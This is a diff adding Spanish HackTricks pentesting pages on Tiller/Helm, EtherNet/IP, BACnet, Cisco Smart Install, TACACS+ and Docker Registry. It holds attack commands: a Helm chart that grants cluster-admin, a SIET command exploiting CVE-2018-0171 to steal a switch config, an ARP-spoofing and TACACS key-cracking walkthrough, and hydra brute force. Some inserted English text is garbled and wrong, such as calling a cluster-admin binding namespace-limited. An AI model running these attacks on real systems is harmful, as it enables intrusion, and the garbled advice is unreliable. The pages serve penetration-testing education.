- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
117
network-services-pentesting/44134-pentesting-tiller-helm.md
Normal file
117
network-services-pentesting/44134-pentesting-tiller-helm.md
Normal file
|
@ -0,0 +1,117 @@
|
|||
# Información Básica
|
||||
|
||||
Helm es el **gestor de paquetes** para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman **Helm Charts**. **Tiller** es el **servicio** que se ejecuta por defecto en el puerto 44134 ofreciendo el servicio.
|
||||
|
||||
**Puerto por defecto:** 44134
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
44134/tcp open unknown
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
Si puedes **enumerar pods y/o servicios** de diferentes espacios de nombres, enuméralos y busca aquellos que tengan **"tiller" en su nombre**:
|
||||
```bash
|
||||
kubectl get pods | grep -i "tiller"
|
||||
kubectl get services | grep -i "tiller"
|
||||
kubectl get pods -n kube-system | grep -i "tiller"
|
||||
kubectl get services -n kube-system | grep -i "tiller"
|
||||
kubectl get pods -n <namespace> | grep -i "tiller"
|
||||
kubectl get services -n <namespace> | grep -i "tiller"
|
||||
```
|
||||
## Pentesting Tiller (Helm)
|
||||
|
||||
### Introduction
|
||||
|
||||
Helm is a package manager for Kubernetes that allows developers and operators to more easily package, configure, and deploy applications and services onto Kubernetes clusters. Helm uses a client-server architecture, where the client is called `helm` and the server is called `tiller`. Tiller runs inside your Kubernetes cluster, and manages releases (installations) of your Helm packages.
|
||||
|
||||
### Tiller Security
|
||||
|
||||
Tiller is a privileged component of the Kubernetes cluster, with full access to the Kubernetes API and the ability to create, modify, and delete resources in any namespace. This means that if an attacker gains access to Tiller, they can potentially take control of the entire cluster.
|
||||
|
||||
By default, Tiller is deployed with full administrative privileges, which makes it a high-value target for attackers. However, there are several steps that can be taken to secure Tiller and reduce the risk of compromise.
|
||||
|
||||
### Securing Tiller
|
||||
|
||||
#### Disable Tiller
|
||||
|
||||
The simplest way to secure Tiller is to disable it entirely. This can be done by running the following command:
|
||||
|
||||
```bash
|
||||
$ helm init --client-only
|
||||
```
|
||||
|
||||
This will initialize Helm without installing Tiller. However, this means that you will not be able to manage releases using Helm, so it may not be a viable option for all use cases.
|
||||
|
||||
#### Restrict Tiller's Permissions
|
||||
|
||||
If you need to use Tiller, it is recommended that you restrict its permissions as much as possible. This can be done by creating a dedicated service account for Tiller, and assigning it the minimum set of permissions required for your use case.
|
||||
|
||||
For example, you can create a service account with the following command:
|
||||
|
||||
```bash
|
||||
$ kubectl create serviceaccount tiller --namespace kube-system
|
||||
```
|
||||
|
||||
And then grant it the `cluster-admin` role with the following command:
|
||||
|
||||
```bash
|
||||
$ kubectl create clusterrolebinding tiller-cluster-rule --clusterrole=cluster-admin --serviceaccount=kube-system:tiller
|
||||
```
|
||||
|
||||
This will give Tiller full administrative privileges, but only within the `kube-system` namespace.
|
||||
|
||||
#### Use TLS Encryption
|
||||
|
||||
By default, Tiller communicates with the Helm client over an unencrypted connection. This means that any data sent between the client and server can be intercepted and read by an attacker.
|
||||
|
||||
To prevent this, it is recommended that you enable TLS encryption for Tiller. This can be done by generating a TLS certificate and key, and configuring Tiller to use them.
|
||||
|
||||
For example, you can generate a self-signed TLS certificate and key with the following command:
|
||||
|
||||
```bash
|
||||
$ openssl req -keyout tiller.key -out tiller.crt -newkey rsa:2048 -nodes -subj '/CN=tiller'
|
||||
```
|
||||
|
||||
And then configure Tiller to use them with the following command:
|
||||
|
||||
```bash
|
||||
$ helm init --tiller-tls --tiller-tls-cert tiller.crt --tiller-tls-key tiller.key --tiller-tls-verify
|
||||
```
|
||||
|
||||
This will enable TLS encryption for Tiller, and require the Helm client to verify the server's TLS certificate before connecting.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Tiller is a critical component of the Helm package manager, but it also represents a potential security risk if not properly secured. By following the best practices outlined in this guide, you can help to reduce the risk of compromise and ensure the security of your Kubernetes cluster.
|
||||
```bash
|
||||
kubectl get pods -n kube-system
|
||||
NAME READY STATUS RESTARTS AGE
|
||||
kube-scheduler-controlplane 1/1 Running 0 35m
|
||||
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
||||
|
||||
kubectl get services -n kube-system
|
||||
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
||||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||
```
|
||||
También podrías intentar encontrar este servicio ejecutándose verificando el puerto 44134:
|
||||
```bash
|
||||
sudo nmap -sS -p 44134 <IP>
|
||||
```
|
||||
Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente helm. Puedes usar herramientas como `homebrew`, o mirar [**la página oficial de lanzamientos**](https://github.com/helm/helm/releases)**.** Para más detalles, u otras opciones, consulta [la guía de instalación](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
||||
|
||||
Luego, puedes **enumerar el servicio**:
|
||||
```
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
## Escalada de privilegios
|
||||
|
||||
Por defecto, **Helm2** se instaló en el **namespace kube-system** con **altos privilegios**, por lo que si encuentras el servicio y tienes acceso a él, esto podría permitirte **escalar privilegios**.
|
||||
|
||||
Todo lo que necesitas hacer es instalar un paquete como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará acceso al **token de servicio predeterminado a todo en el clúster completo**.
|
||||
```
|
||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||
/pwnchart
|
||||
```
|
||||
En [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) se encuentra la **explicación del ataque**, pero básicamente, si se lee los archivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) y [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ se puede ver cómo **se están otorgando todos los privilegios al token predeterminado**.
|
110
network-services-pentesting/44818-ethernetip.md
Normal file
110
network-services-pentesting/44818-ethernetip.md
Normal file
|
@ -0,0 +1,110 @@
|
|||
# **Información del Protocolo**
|
||||
|
||||
Del artículo de Wikipedia sobre EtherNet/IP [http://en.wikipedia.org/wiki/EtherNet/IP](http://en.wikipedia.org/wiki/EtherNet/IP)
|
||||
|
||||
> EtherNet/IP fue desarrollado a finales de los años 90 por Rockwell Automation como parte de las soluciones de redes Ethernet industriales de Rockwell. Rockwell le dio a EtherNet/IP su nombre y lo entregó a ODVA, que ahora gestiona el protocolo y asegura la interoperabilidad de sistemas multi-vendedor exigiendo el cumplimiento de estándares establecidos siempre que se desarrollen nuevos productos que utilicen el protocolo.
|
||||
|
||||
> EtherNet/IP se utiliza principalmente en sistemas de control de automatización industrial, como plantas de procesamiento de agua, instalaciones de fabricación y servicios públicos. Varios proveedores de sistemas de control han desarrollado controladores de automatización programables y E/S capaces de comunicarse a través de EtherNet/IP.
|
||||
|
||||
Un dispositivo EtherNet/IP se identifica positivamente consultando TCP/44818 con un mensaje de lista de identidades (0x63). Los mensajes de respuesta determinarán si es un dispositivo EtherNet/IP y analizarán la información para enumerar el dispositivo.\
|
||||
Desde [aquí](https://github.com/digitalbond/Redpoint)
|
||||
|
||||
**Puerto predeterminado:** 44818 UDP/TCP
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
44818/tcp open EtherNet/IP
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
## **Discovering devices**
|
||||
|
||||
## **Descubriendo dispositivos**
|
||||
|
||||
### **ARP Scanning**
|
||||
|
||||
### **Escaneo ARP**
|
||||
|
||||
The first step to discover devices in the network is to perform an ARP scan. This will allow us to discover the IP addresses of the devices in the network.
|
||||
|
||||
El primer paso para descubrir dispositivos en la red es realizar un escaneo ARP. Esto nos permitirá descubrir las direcciones IP de los dispositivos en la red.
|
||||
|
||||
```bash
|
||||
nmap -sn 192.168.1.0/24
|
||||
```
|
||||
|
||||
### **CIP Scanning**
|
||||
|
||||
### **Escaneo CIP**
|
||||
|
||||
Once we have the IP addresses of the devices, we can perform a CIP scan to discover the devices that support the CIP protocol.
|
||||
|
||||
Una vez que tenemos las direcciones IP de los dispositivos, podemos realizar un escaneo CIP para descubrir los dispositivos que admiten el protocolo CIP.
|
||||
|
||||
```bash
|
||||
nmap -sU -p 2222 --script enip-info 192.168.1.1
|
||||
```
|
||||
|
||||
## **Discovering services**
|
||||
|
||||
## **Descubriendo servicios**
|
||||
|
||||
### **Banner Grabbing**
|
||||
|
||||
### **Obtención de banners**
|
||||
|
||||
Once we have discovered the devices and the services they are running, we can perform banner grabbing to obtain information about the services.
|
||||
|
||||
Una vez que hemos descubierto los dispositivos y los servicios que están ejecutando, podemos realizar la obtención de banners para obtener información sobre los servicios.
|
||||
|
||||
```bash
|
||||
nmap -sV -p 2222 --script enip-info 192.168.1.1
|
||||
```
|
||||
|
||||
### **Default Credentials**
|
||||
|
||||
### **Credenciales predeterminadas**
|
||||
|
||||
We can also try to log in to the services using default credentials.
|
||||
|
||||
También podemos intentar iniciar sesión en los servicios utilizando credenciales predeterminadas.
|
||||
|
||||
```bash
|
||||
python3 ./enum4linux-ng.py -U users.txt -P passwords.txt 192.168.1.1
|
||||
```
|
||||
|
||||
### **Brute Force**
|
||||
|
||||
### **Fuerza bruta**
|
||||
|
||||
If default credentials do not work, we can try to brute force the credentials.
|
||||
|
||||
Si las credenciales predeterminadas no funcionan, podemos intentar realizar un ataque de fuerza bruta contra las credenciales.
|
||||
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt 192.168.1.1 enip
|
||||
```
|
||||
```bash
|
||||
nmap -n -sV --script enip-info -p 44818 <IP>
|
||||
pip3 install cpppo
|
||||
python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity -a <IP>
|
||||
```
|
||||
# Shodan
|
||||
|
||||
* `port:44818 "nombre del producto"`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
53
network-services-pentesting/47808-udp-bacnet.md
Normal file
53
network-services-pentesting/47808-udp-bacnet.md
Normal file
|
@ -0,0 +1,53 @@
|
|||
# Información del Protocolo
|
||||
|
||||
**BACnet** es un [protocolo de comunicaciones](https://en.wikipedia.org/wiki/Communications_protocol) para redes de Automatización y Control de Edificios (BAC) que aprovecha el protocolo estándar [ASHRAE](https://en.wikipedia.org/wiki/ASHRAE), [ANSI](https://en.wikipedia.org/wiki/ANSI) e [ISO](https://en.wikipedia.org/wiki/International_Organization_for_Standardization) 16484-5[\[1\]](https://en.wikipedia.org/wiki/BACnet#cite_note-1).
|
||||
|
||||
BACnet fue diseñado para permitir la comunicación de sistemas de automatización y control de edificios para aplicaciones como el control de calefacción, ventilación y aire acondicionado (HVAC), control de iluminación, control de acceso y sistemas de detección de incendios y su equipo asociado. El protocolo BACnet proporciona mecanismos para que los dispositivos de automatización de edificios informatizados intercambien información, independientemente del servicio de construcción particular que realicen.
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/BACnet)
|
||||
|
||||
**Puerto predeterminado:** 47808
|
||||
```text
|
||||
PORT STATE SERVICE
|
||||
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
## Manual
|
||||
```bash
|
||||
pip3 install BAC0
|
||||
import BAC0
|
||||
bbmdIP = '<IP>:47808'
|
||||
bbmdTTL = 900
|
||||
bacnet = BAC0.connect(bbmdAddress=bbmdIP, bbmdTTL=bbmdTTL) #Connect
|
||||
bacnet.vendorName.strValue
|
||||
#I couldn't find how to obtain the same data as nmap with this library or any other
|
||||
#talk me if you know how please
|
||||
```
|
||||
## Automático
|
||||
```bash
|
||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||
```
|
||||
Este script no intenta unirse a una red BACnet como dispositivo externo, simplemente envía solicitudes BACnet directamente a un dispositivo con dirección IP.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:47808 instance`
|
||||
* `"ID de instancia" "Nombre del proveedor"`
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
47
network-services-pentesting/4786-cisco-smart-install.md
Normal file
47
network-services-pentesting/4786-cisco-smart-install.md
Normal file
|
@ -0,0 +1,47 @@
|
|||
## Información Básica
|
||||
|
||||
**Cisco Smart Install** es un diseño de Cisco para automatizar la configuración inicial y la carga de una imagen del sistema operativo para nuevo hardware de Cisco. **Por defecto, Cisco Smart Install está activo en el hardware de Cisco y utiliza el protocolo de capa de transporte, TCP, con el número de puerto 4786.**
|
||||
|
||||
**Puerto por defecto:** 4786
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
4786/tcp open smart-install
|
||||
```
|
||||
## **Herramienta de explotación de Smart Install**
|
||||
|
||||
**En 2018, se encontró una vulnerabilidad crítica, CVE-2018-0171, en este protocolo. El nivel de amenaza es de 9.8 en la escala CVSS.**
|
||||
|
||||
**Un paquete especialmente diseñado enviado al puerto TCP/4786, donde está activo Cisco Smart Install, desencadena un desbordamiento de búfer, lo que permite a un atacante:**
|
||||
|
||||
* reiniciar forzosamente el dispositivo
|
||||
* llamar a RCE
|
||||
* robar configuraciones de equipos de red.
|
||||
|
||||
**El** [**SIET**](https://github.com/frostbits-security/SIET) **(Herramienta de Explotación de Smart Install)** fue desarrollado para explotar esta vulnerabilidad, lo que permite abusar de Cisco Smart Install. En este artículo te mostraré cómo puedes leer un archivo de configuración de hardware de red legítimo. La configuración de exfiltración puede ser valiosa para un pentester porque aprenderá sobre las características únicas de la red. Y esto hará la vida más fácil y permitirá encontrar nuevos vectores para un ataque.
|
||||
|
||||
**El dispositivo objetivo será un switch Cisco Catalyst 2960 "en vivo". Las imágenes virtuales no tienen Cisco Smart Install, por lo que solo se puede practicar en hardware real.**
|
||||
|
||||
La dirección del switch objetivo es **10.10.100.10 y CSI está activo.** Carga SIET y comienza el ataque. **El argumento -g** significa exfiltración de la configuración del dispositivo, **el argumento -i** te permite establecer la dirección IP del objetivo vulnerable.
|
||||
```
|
||||
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (302).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La configuración del switch **10.10.100.10** estará en la carpeta **tftp/**.
|
||||
|
||||
\
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (73).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
72
network-services-pentesting/49-pentesting-tacacs+.md
Normal file
72
network-services-pentesting/49-pentesting-tacacs+.md
Normal file
|
@ -0,0 +1,72 @@
|
|||
## Información Básica
|
||||
|
||||
**Terminal Access Controller Access Control System (TACACS)** es un protocolo de seguridad que proporciona validación centralizada de usuarios que intentan obtener **acceso a un router o NAS**. TACACS+, una versión más reciente del protocolo TACACS original, proporciona servicios separados de autenticación, autorización y contabilidad (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
```
|
||||
**Puerto predeterminado:** 49
|
||||
|
||||
## Interceptar la clave de autenticación
|
||||
|
||||
Si un atacante logra interponerse entre el cliente y el servidor TACACS, **puede interceptar la clave de autenticación** en forma cifrada y luego realizar un ataque de fuerza bruta local contra ella. De esta manera, se puede realizar el ataque de fuerza bruta sin aparecer en los registros. Si se logra descifrar la clave, **se podrá acceder al equipo de red y descifrar el tráfico** en **Wireshark**.
|
||||
|
||||
### MitM
|
||||
|
||||
Para realizar un ataque MitM, se puede utilizar un [**ataque de suplantación de ARP**](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing).
|
||||
|
||||
### Fuerza bruta de la clave
|
||||
|
||||
Ahora es necesario ejecutar [Loki](https://c0decafe.de/svn/codename\_loki/trunk/). Esta es una herramienta especial diseñada para analizar la seguridad de los protocolos L2/L3. Sus capacidades son tan buenas como las del popular **Yersinia** y es un competidor serio. Loki también puede realizar ataques de fuerza bruta contra claves TACACS. Si la clave se descifra con éxito (**generalmente en formato cifrado MD5)**, **se puede acceder al equipo y descifrar el tráfico cifrado de TACACS**.
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (31) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
También es necesario especificar la ruta al diccionario para realizar un ataque de fuerza bruta sobre la clave encriptada. Asegúrate de desmarcar la opción **Use Bruteforce**, de lo contrario Loki realizará un ataque de fuerza bruta sobre la contraseña sin utilizar el diccionario.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (11) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ahora debemos esperar a que un administrador inicie sesión en el dispositivo a través del servidor TACACS. Se asume que el administrador de red ya ha iniciado sesión y nosotros, **interceptando el tráfico en el medio a través de ARP spoofing**, interceptamos el tráfico. Y al hacerlo, los hosts legítimos no se dan cuenta de que alguien más ha interferido en su conexión.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (8) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ahora haz clic en el botón **CRACK** y espera a que **Loki** rompa la contraseña.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (17) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Descifrar el tráfico
|
||||
|
||||
Genial, logramos desbloquear la clave, ahora necesitamos descifrar el tráfico TACACS. Como dije, Wireshark puede manejar el tráfico TACACS encriptado si la clave está presente.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (28) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vemos qué banner se utilizó.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (24) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encontramos el nombre de usuario del usuario `admin`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como resultado, **tenemos las credenciales `admin:secret1234`,** que se pueden utilizar para acceder al hardware en sí. **Creo que verificaré su validez.**
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (19) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Así es como se puede atacar TACACS+ y **obtener acceso** al panel de control del equipo de red.
|
||||
|
||||
## Referencias
|
||||
|
||||
* La sección de clave de intercepción fue copiada de [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
295
network-services-pentesting/5000-pentesting-docker-registry.md
Normal file
295
network-services-pentesting/5000-pentesting-docker-registry.md
Normal file
|
@ -0,0 +1,295 @@
|
|||
## 5000 - Pentesting Docker Registry
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
**Información de** [**aquí**](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/#:\~:text=A%20Docker%20registry%20is%20a,versions%20of%20a%20specific%20image.)**.**
|
||||
|
||||
Un **registro de Docker** es un sistema de almacenamiento y distribución para imágenes de Docker con nombre. La misma imagen puede tener varias versiones diferentes, identificadas por sus etiquetas.\
|
||||
Un registro de Docker está organizado en **repositorios de Docker**, donde un repositorio contiene todas las versiones de una imagen específica. El registro permite a los usuarios de Docker descargar imágenes localmente, así como subir nuevas imágenes al registro (dadas las permisiones de acceso adecuadas cuando corresponda).
|
||||
|
||||
Por defecto, el motor de Docker interactúa con **DockerHub**, la instancia de registro público de Docker. Sin embargo, es posible ejecutar en local el registro/distribución de Docker de código abierto, así como una versión con soporte comercial llamada **Docker Trusted Registry**. Hay otros registros públicos disponibles en línea.
|
||||
|
||||
Para descargar una imagen de un registro local, se podría ejecutar un comando similar a:
|
||||
```
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
Si deseas obtener la versión de la imagen `foo/bar` con la etiqueta `2.1` desde nuestro registro localizado en el dominio `my-registry` y el puerto `9000`, puedes utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
|
||||
En caso de que estuvieras utilizando DockerHub y la versión `2.1` fuera la última disponible, podrías ejecutar el siguiente comando para obtener la misma imagen localmente:
|
||||
|
||||
```
|
||||
docker pull foo/bar:2.1
|
||||
```
|
||||
```
|
||||
docker pull foo/bar
|
||||
```
|
||||
**Puerto predeterminado:** 5000
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5000/tcp open http Docker Registry (API: 2.0)
|
||||
```
|
||||
